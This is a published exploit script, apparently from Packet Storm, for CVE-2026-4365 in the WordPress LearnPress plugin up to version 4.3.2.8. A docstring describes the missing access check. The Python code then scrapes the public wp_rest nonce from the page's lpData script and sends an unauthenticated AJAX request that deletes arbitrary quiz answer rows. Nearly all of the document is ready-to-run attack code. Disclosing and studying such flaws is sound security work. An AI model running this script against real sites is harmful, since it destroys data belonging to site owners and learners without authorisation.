Share
## https://sploitus.com/exploit?id=PACKETSTORM:226460
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin LearnPress <= 4.3.2.8 - Unauthenticated Quiz Answer Deletion (Broken Access Control)
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/learnpress/
    # Software Link: https://downloads.wordpress.org/plugin/learnpress.4.3.2.8.zip
    # Version: 4.3.2.8 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2026-4365
    r"""
    LearnPress <= 4.3.2.8 dispatches EditQuestionAjax::catch_lp_ajax() on 'init' (learnpress.php:704),
    for every front-end request. The delete_question_answer() handler
    (inc/Ajax/EditQuestionAjax.php:285-310) reads question_answer_id from the JSON body and calls
    QuestionAnswerModel::delete() (:301) with NO current_user_can() / ownership check โ€” the only gate is
    the shared AbstractAjax nonce check against 'wp_rest' (AbstractAjax.php:33). The anonymous 'wp_rest'
    nonce is printed publicly in the inline <script id="lpData"> on any LearnPress front-end page
    (inc/class-lp-assets.php:123), so an unauthenticated attacker harvests it and deletes arbitrary quiz
    answer rows.
    
    Prior state: a question with answer rows (in wp_learnpress_question_answers). For single/multi choice
    questions the guard keeps >2 answers, so seed 3.
    """
    import argparse, sys, re, json
    import requests
    requests.packages.urllib3.disable_warnings()
    
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--question-id", type=int, required=True)
        ap.add_argument("--answer-id", type=int, required=True, help="quiz answer row id to delete")
        ap.add_argument("--nonce-page", default="/courses/", help="LearnPress front page emitting lpData")
        args = ap.parse_args()
        base = args.target.rstrip("/")
        h = requests.get(base + args.nonce_page, verify=False, timeout=20).text
        m = (re.search(r'lpData[^<]*?"nonce":"([0-9a-f]{10})"', h)
             or re.search(r'"nonce":"([0-9a-f]{10})"', h))
        if not m:
            print("[-] no lpData wp_rest nonce found"); return 1
        nonce = m.group(1)
        print(f"[*] Target: {base} | public wp_rest nonce: {nonce}")
        data = json.dumps({"question_id": args.question_id, "question_answer_id": args.answer_id})
        r = requests.post(base + "/?lp-load-ajax=delete_question_answer",
                          data={"nonce": nonce, "data": data}, verify=False, timeout=20)
        print(f"[*] delete answer {args.answer_id} -> HTTP {r.status_code} :: {r.text[:120]}")
        if '"status":"success"' in r.text:
            print(f"\n[+] BROKEN ACCESS CONTROL CONFIRMED โ€” unauthenticated caller deleted quiz answer "
                  f"row {args.answer_id} (verify: it is gone from wp_learnpress_question_answers).")
            return 0
        print("\n[-] not confirmed"); return 1
    
    
    if __name__ == "__main__":
        sys.exit(main())